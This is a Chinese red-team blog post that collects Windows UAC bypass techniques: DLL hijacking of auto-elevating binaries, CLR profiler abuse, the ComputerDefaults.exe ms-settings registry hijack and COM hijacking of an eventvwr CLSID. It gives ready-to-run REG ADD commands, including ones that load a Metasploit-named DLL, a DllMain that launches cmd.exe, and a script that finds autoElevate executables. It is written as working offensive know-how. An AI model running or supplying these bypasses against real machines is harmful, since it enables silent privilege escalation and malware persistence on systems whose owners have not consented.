红队免杀-bypassUAC总结

举报
亿人安全 发表于 2023/05/31 17:02:43 2023/05/31
【摘要】 UAC用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。 管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。但当管理员要执行高风险操作(如安装程序等),就需要提升权限去完成这些任务。这个提升权限的过程通常是这样的,相信...

UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。 管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。但当管理员要执行高风险操作(如安装程序等),就需要提升权限去完成这些任务。这个提升权限的过程通常是这样的,相信各位都眼熟过。

点击“是”,管理员就会提升到高权限再去运行该任务。

而在这些程序里面,有的需要授权、有的不需要,是因为UAC是分授权等级的

首先请按Win+R,输入gpedit.msc,打开组策略。

然后我们在左侧窗口找到“计算机配置–Windows设置–安全设置–本地策略–安全选项”,再在右侧窗口找到“用户帐户控制:管理员批准模式中管理员的提升权限提示的行为”,双击该条目,打开设置窗口,如下图:

  • 不提示直接提升:关闭UAC,需要权限时直接提升权限。

  • 在安全桌面上提示凭据:需要权限时在安全桌面上输入管理员密码提升权限。

  • 在安全桌面上同意提示:需要权限时在安全桌面上选择“允许”提升权限。

  • 提示凭据:需要权限时在普通窗口中输入管理员密码提升权限。

  • 同意提示:需要权限时在普通窗口中选择“允许”提升权限。

  • 非 Windows 二进制文件的同意提示:(默认设置)当非 Microsoft 应用程序的某个操作需要提升权限时,选择“允许”提升权限。

因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。

如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在Linux中的相应操作类似。

•程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力•权限提升仅对此次进程有效

提升权限的操作大致有两个:

•自动提权请求•手动提权请求

手动提权就是“以管理员身份运行”,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器

在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。

visual studio里面的uac

在visual studio里面有一个manifest文件,这个文件本质上是一个xml文件,用于标识当前应用程序的配置属性。其中这几个级别明细如下

•aslnvoker 默认权限

•highestAvailable 最高权限

•requireAdministrator 必须是管理员权限

将编译选项调整为requireAdministrator,则当用户运行程序后,将获得管理员权限会话,不需要绕过UAC。

bypassUAC

autoElevate

当某个EXE文件的文件清单里有<autoElevate> 元素时,当执行该文件时会默认提权执行。 我们劫持该exe文件的dll,可以达到Bypass UAC提权的目的。 适用范围:管理员权限以获得,要得到高权限管理员权限

一般用工具sigcheck检测

网上常拿C:/Windows/SysWOW64/SystemPropertiesAdvanced.exe 举列子


DLL劫持

参考:https://www.anquanke.com/post/id/209033 https://www.cnblogs.com/0daybug/p/11719541.html

exe文件运行时会加载许多dll文件,这些dll文件的加载顺序是

  • 程序所在目录

  • 系统目录即SYSTEM32目录

  • 16位系统目录即SYSTEM目录

  • Windows目录

  • 程序加载目录(SetCurrentDirecctory)

  • PATH环境变量中列出的目录

    同时,dll加载也遵循着Know DLLs注册表项的机制:Know DLLs注册表项指定的DLL是已经被操作系统加载过后的DLL,不会被应用程序搜索并加载。在注册表HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/KnownDLLS处可以看见这些dll

在knowdlls表项中的dll是预先就加载进内存空间的,被诸多应用调用着,改动需要高权限。

如果我们在应用程序找到正确的dll之前,将我们自己创造的dll放入优先级更高的搜索目录让应用程序优先加载此dll文件,这就造成了dll劫持。但这只是dll劫持的其中一种途径,他有这些途径:

(1) DLL替换:用恶意的DLL替换掉合法的DLL (2) DLL搜索顺序劫持:当应用程序加载DLL的时候,如果没有带指定DLL的路径,那么程序将会以特定的顺序依次在指定的路径下搜索待加载的DLL。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。 (3) 虚拟DLL劫持:释放一个恶意的DLL来代替合法应用程序加载的丢失/不存在的DLL (4) DLL重定向:更改DLL搜索的路径,比如通过编辑%PATH%环境变量或 .exe.manifest/.exe.local文件以将搜索路径定位到包含恶意DLL的地方。 (5) WinSxS DLL替换:将目标DLL相关的WinSxS文件夹中的合法DLL替换为恶意DLL。此方法通常也被称为DLL侧加载 (6) 相对路径DLL劫持:将合法的应用程序复制(并有选择地重命名)与恶意的DLL一起放入到用户可写的文件夹中。在使用方法上,它与(签名的)二进制代理执行有相似之处。它的一个变体是(有点矛盾地称为)“自带LOLbin”,其中合法的应用程序带有恶意的DLL(而不是从受害者机器上的合法位置复制)。

实验一:

这里我们先用第一种方法来进行实验,实验对象是C:/Windows/SysWOW64/SystemPropertiesAdvanced.exe和Listary。Listary是一个很好用的检索小工具,我通过processmonitor,设置好过滤条件,查看SystemPropertiesAdvanced.exe调用的dll时发现它会调用一个Listary下的一个名为ListaryHook.dll的dll。

由于listary目录权限不高,我们可以直接替换该dll,换成dllmain为打开cmd的dll。然后点击运行SystemPropertiesAdvanced.exe,就会发现会弹出高权限cmd窗口

bypassuac成功。 当然这种都不能算是一个洞,listary并不是人人电脑上都有的,而且这个软件装机量应该是极少数少的,所以这里只是提供一个思路,

参考:https://www.cnblogs.com/0daybug/p/11719541.html

实验2:

这里使用第三种方法进行实验,实验对象是eventvwr.msc,它是管理工具中的事件查看器,它依赖于mmc.exe来运行。比如,你想运行它,就得通过mmc eventvwr.msc来运行它,并且在process exploer中只能看到个mmc.exe。

我们process monitor设置过滤如下

cmd运行 mmc eventvwr.msc,查看调用

dll搜索顺序确实是 程序目录->SYSTEM32->SYSTEM->WINDOWS->当前目录(这里也是SYSTEM32目录,我认为的原因是mmc会自动提升权限导致当前目录为System32导致的)->PATH目录。

我们只需在可写目录下植入名为elsext.dll的恶意dll,处理好dll的dllmain函数,就能让dllmain里的指令被高权限执行

CLR加载任意DLL

CLR是微软为.net运行时提供的环境,像java的虚拟机一样,而clr有一个Profiling机制。这个机制简而言之便是可以给CLR提供一个dll,当任何高权限.NET运行时都会主动加载该DLL,我们可以构造恶意dll给CLR加载,从而获得高权限的进程如cmd,从而bypassuac。

至于这个dll如何给CLR,是通过修改以下环境变量实现的

COR_ENABLE_PROFILING = 1
​
COR_PROFILER={CLSIDor ProgID}

CLR会检查环境变量中的COR_ENABLE_PROFILING,若为1则检查通过,进行下一步。 在net4.0以前,若检查通过,会马上去查找COR_PROFILER指定的注册表项,找到其dll路径并加载 net4.0后,会先查找COR_PROFILER_PATH是否指定dll文件路径,若没有再去查找COR_PROFILER指定的注册表项,找到其dll路径并加载。 总而言之,我们设置好COR_ENABLE_PROFILING和COR_PROFILER两个项就可以了。

接下来我们设置用户环境变量,设置用户环境变量时不需要高权限(win10似乎设置系统环境变量也不需要)。 以及在注册表,在指定的CLSID属性下新建Inprocserver32项,并写入恶意dll路径. 然后通过mmc调用一下gpedit.msc这种程序,即可以高权限执行dll。如果dll执行命令为system(“cmd.exe”) 那么就会蹦出来高权限cmd窗口

REG ADD "HKCU/Software/Classes/CLSID/{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}/InprocServer32" /ve /t REG_EXPAND_SZ /d "C:/test/calc.dll" /f
REG ADD "HKCU/Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU/Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
mmc gpedit.msc
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <Windows.h>
​
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    char cmd[] = "cmd.exe";
​
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        WinExec(cmd, SW_SHOWNORMAL);
        ExitProcess(0);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

另外的,你还可以为COR_PROFILER_PATH设置为如//server/share/test.dll的smb的路径,这样也可以实现bypassuac(没复现)

参考:https://www.const27.com/2021/06/28/Bypass%20UAC/

白名单程序

odbcad32.exe

这个方法很简单。打开C:/Windows/system32/odbcad32.exe,然后通过以下方法打开powershell或者cmd


成功bypass

管理工具

之前说过,管理工具有很多白名单程序,如果一个白名单程序有浏览文件目录的功能,就可以以此来创建高权限cmd窗口。这里拿事件查看器举例

操作-》打开保存的目录-》文件目录路径处输入powershell-》弹出高权限powershell 以此内推,还有很多相似的管理工具可以这样利用

注册表劫持

有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗,这类程序被称为白名单程序。这些程序拥有autoElevate属性的值为True,会在启动时就静默提升权限。

那么我们要寻找的uac程序需要符合以下几个要求:

1. 程序的manifest标识的配置属性 autoElevate 为true
2. 程序不弹出UAC弹窗
3. 从注册表里查询Shell/Open/command键值对

首先是寻找autoElevate为true的程序,这里就写一个py脚本去批量跑一下,这里就找system32目录下面的

import os 
from subprocess import * 
 
path = 'c:/windows/system32' 
files = os.listdir(path) 
print(files) 
def GetFileList(path, fileList): 
    newDir = path 
    if os.path.isfile(path): 
        if path[-4:] == '.exe': 
            fileList.append(path) 
    elif os.path.isdir(path): 
        try: 
            for s in os.listdir(path): 
                newDir=os.path.join(path,s) 
                GetFileList(newDir, fileList) 
        except Exception as e: 
            pass 
    return fileList 
files = GetFileList(path, []) 
print(files) 
​
for eachFile in files: 
    if eachFile[-4:] == '.exe': 
        command = r'./sigcheck64.exe -m {} | findstr auto'.format(eachFile) 
        print(command) 
        p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE) 
        if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'): 
            copy_command = r'copy {} ./success'.format(eachFile) 
            Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE) 
            print('[+] {}'.format(eachFile)) 
            with open('success.txt', 'at') as f: 
                f.writelines('{}/n'.format(eachFile))

整理之后exe如下所示

c:/windows/system32/bthudtask.exe 
c:/windows/system32/changepk.exe 
c:/windows/system32/ComputerDefaults.exe 
c:/windows/system32/dccw.exe 
c:/windows/system32/dcomcnfg.exe 
c:/windows/system32/DeviceEject.exe 
c:/windows/system32/DeviceProperties.exe 
c:/windows/system32/djoin.exe 
c:/windows/system32/easinvoker.exe 
c:/windows/system32/EASPolicyManagerBrokerHost.exe 
c:/windows/system32/eudcedit.exe 
c:/windows/system32/eventvwr.exe 
c:/windows/system32/fodhelper.exe 
c:/windows/system32/fsquirt.exe 
c:/windows/system32/FXSUNATD.exe 
c:/windows/system32/immersivetpmvscmgrsvr.exe 
c:/windows/system32/iscsicli.exe 
c:/windows/system32/iscsicpl.exe 
c:/windows/system32/lpksetup.exe 
c:/windows/system32/MSchedExe.exe 
c:/windows/system32/msconfig.exe 
c:/windows/system32/msra.exe 
c:/windows/system32/MultiDigiMon.exe 
c:/windows/system32/newdev.exe 
c:/windows/system32/odbcad32.exe 
c:/windows/system32/PasswordOnWakeSettingFlyout.exe 
c:/windows/system32/pwcreator.exe 
c:/windows/system32/rdpshell.exe 
c:/windows/system32/recdisc.exe 
c:/windows/system32/rrinstaller.exe 
c:/windows/system32/shrpubw.exe 
c:/windows/system32/slui.exe 
c:/windows/system32/Sysprep/sysprep.exe 
c:/windows/system32/SystemPropertiesAdvanced.exe 
c:/windows/system32/SystemPropertiesComputerName.exe 
c:/windows/system32/SystemPropertiesDataExecutionPrevention.exe 
c:/windows/system32/SystemPropertiesHardware.exe 
c:/windows/system32/SystemPropertiesPerformance.exe 
c:/windows/system32/SystemPropertiesProtection.exe 
c:/windows/system32/SystemPropertiesRemote.exe 
c:/windows/system32/SystemSettingsAdminFlows.exe 
c:/windows/system32/SystemSettingsRemoveDevice.exe 
c:/windows/system32/Taskmgr.exe 
c:/windows/system32/tcmsetup.exe
c:/windows/system32/TpmInit.exe 
c:/windows/system32/WindowsUpdateElevatedInstaller.exe 
c:/windows/system32/WSReset.exe 
c:/windows/system32/wusa.exe

然后再去寻找不弹uac框的程序,这里我就从上往下开始尝试,找到的是ComputerDefaults.exe这个exe

运行之后直接就会出现默认应用这个界面

uac程序特性探究

通常以shell/open/command命名的键值对存储的是可执行文件的路径,如果exe程序运行的时候找到该键值对,就会运行该键值对的程序,而因为exe运行的时候是静默提升了权限,所以运行的该键值对的程序就已经过了uac。所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。

这里使用process monitor监听ComputerDefaults.exe

发现他会去查询HKCU/Software/Classes/ms-settings/Shell/Open/command里面的值

那么我们创建一个HKCU/Software/Classes/ms-settings/Shell/Open/command路径,再对ComputerDefaults.exe进行监听尝试

然后发现他还会去查询HKCU/Software/Classes/ms-settings/Shell/Open/command/DelegateExecute,而且Result显示的是NAME NOT FOUND,那么可以认为首先去查询HKCU/Software/Classes/ms-settings/Shell/Open/command路径下的注册表,再去查询HKCU/Software/Classes/ms-settings/Shell/Open/command/DelegateExecute是否存在

那么这里我创建一个DelegateExecute的键值对,然后把默认键值对指向我的一个程序进行尝试

当我运行c:/windows/system32/ComputerDefaults.exe的时候,发现不再弹出的是默认进程的界面,而是打开了我自己的程序

那么这里就可以大胆的猜测一下,首先运行ComputerDefaults.exe这个程序之前,会查询HKCU:/Software/Classes/ms-settings/shell/open/command这个目录是否存在,若存在继续寻找同目录下是否有DelegateExecute这个键值对,若两者都存在则执行HKCU:/Software/Classes/ms-settings/shell/open/command指向的exe路径

为了验证猜想,这里我将exe路径改为cmd,若猜测成立则可以获得管理员权限的cmd

whoami /priv查看一下果然成功

参考:https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247488251&idx=1&sn=24eb93cd3251e323520027e147bca81e&chksm=ce64a847f91321510f316a4d371443a845965652ed13272b7a2296a0ffb4c1313f7ac79d0bc3&scene=132#wechat_redirect

COM劫持

和dll劫持类似,应用程序在运行时也会去加载指定CLSID的COM组件,其加载顺序如下

HKCU/Software/Classes/CLSID
HKCR/CLSID
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/ShellCompatibility/Objects/

以eventvwr为例

执行该程序时会去寻找{0A29FF9E-7F9C-4437-8B11-F424491E3931}这个组件,这个组件又需要加载InProcServer32指定的DLL,而这个DLL的路径可由用户定义。

而eventvwr的这个组件一般在HKCR/CLSID找到,所以可以搜索路径劫持。

利用以下方法可以劫持(搜索路径劫持)

reg add HKEY_CURRENT_USER/Software/Classes/CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}/InProcServer32 /v "" /t REG_SZ /d "d:/msf_x64.dll" /f 
​
reg add HKEY_CURRENT_USER/Software/Classes/CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}/InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f 
​
reg add HKEY_CURRENT_USER/Software/Classes/CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}/InProcServer32 /v "ThreadingModel" /t REG_SZ /d "Apartment" /f 
​
reg add HKEY_CURRENT_USER/Software/Classes/CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}/ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f 
​
reg add HKEY_CURRENT_USER/Software/Classes/CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}/ShellFolder /v "Attributes" /t REG_DWORD /d 0xf090013d /f

一个开源项目,记录了许多Bypassuac的方法。

https://github.com/hfiref0x/UACME/tree/v3.2.x

通过模拟可信目录绕过 UAC

参考:https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e

https://www.anquanke.com/post/id/209033#h2-4

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。